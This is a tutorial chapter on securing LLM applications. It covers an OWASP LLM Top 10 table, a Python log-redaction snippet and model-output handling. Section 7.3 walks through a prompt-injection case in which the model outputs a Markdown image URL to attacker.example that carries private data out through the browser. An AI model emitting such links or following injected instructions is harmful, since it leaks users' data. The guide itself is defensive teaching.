Skip to content

7. Security

Advanced · 7 min read

An LLM app has every security problem a normal web app has, plus new ones: a component (the model) that can be talked into things, output you can't fully predict, and an expensive API anyone can try to drain. Agent-specific controls are in Safety and human approval.

7.1 The OWASP Top 10 for LLM applications

# Risk One-line defence
LLM01 Prompt injection Treat outside content as data; least privilege; approvals
LLM02 Sensitive information disclosure Permission filters, PII masking, redacted logs
LLM03 Supply chain Pin and scan packages; trusted models in safetensors
LLM04 Data and model poisoning Trusted ingestion sources; review training data
LLM05 Improper output handling Treat output as untrusted: escape, validate, never eval
LLM06 Excessive agency Minimal tools and permissions; human approval
LLM07 System prompt leakage No secrets in prompts; enforce rules in code
LLM08 Vector and embedding weaknesses Tenant isolation and access control in retrieval
LLM09 Misinformation Grounding, citations, evals
LLM10 Unbounded consumption Rate limits in tokens, budgets, input caps

7.2 Secrets and logs

  • API keys live in a secret store, never in code, images or git. A committed key must be rotated, not just deleted.
  • Never put secrets in prompts: assume the system prompt can be extracted.
  • Logs and traces contain user messages. Redact before writing:
import re

PATTERNS = [("API_KEY", re.compile(r"\b(sk|rk|pk)[-_][A-Za-z0-9_-]{16,}\b")),
            ("EMAIL", re.compile(r"\b[\w.+-]+@[\w-]+\.[\w.]+\b")),
            ("PHONE", re.compile(r"(?<!\d)(?:\+91[\s-]?)?[6-9]\d{9}(?!\d)"))]

def redact(text: str) -> str:
    for label, pattern in PATTERNS:
        text = pattern.sub(f"[{label}]", text)
    return text

print(redact("user=asha.rao@gmail.com phone=+91 9876543210 key=sk-proj-AbCdEfGhIjKlMnOpQrSt12"))
Output
user=[EMAIL] phone=[PHONE] key=[API_KEY]

7.3 Model output is untrusted

Whatever an attacker managed to inject can come back in the model's answer. Never render it as raw HTML, never run it as code or SQL, and watch for a subtle one: data exfiltration through Markdown images. An injected instruction makes the model output ![](https://attacker.example/log?d=<private data>); the browser loads the "image" automatically and sends the data away, with no click needed. The fix is to allow images and links only from domains you trust, and to set a Content Security Policy on your pages.

In the full LLMOps guide (PDF)

  • Each OWASP LLM risk explained with a real attack example and the exact fix
  • A complete redaction module (keys, tokens, emails, phones, cards, IDs) plus PII detection
  • Safe Markdown rendering code that blocks image-based data exfiltration
  • Abuse and denial-of-wallet defences: auth, token limits, bot protection, spend alerts
  • Supply chain: pinning, scanning, safetensors, trusted MCP servers
  • Provider data terms, data residency and the full production security checklist
  • Model answers to the interview questions below

See the full guide in the Store → · Get notified when it goes on sale ↓

Interview questions

  • What are the main security risks in an LLM application?
  • What is data exfiltration through Markdown images, and how do you prevent it?
  • How do you keep secrets and personal data out of LLM logs?

Next: GenAI System Design: putting the whole track together. Back to: LLMOps overview · Notes overview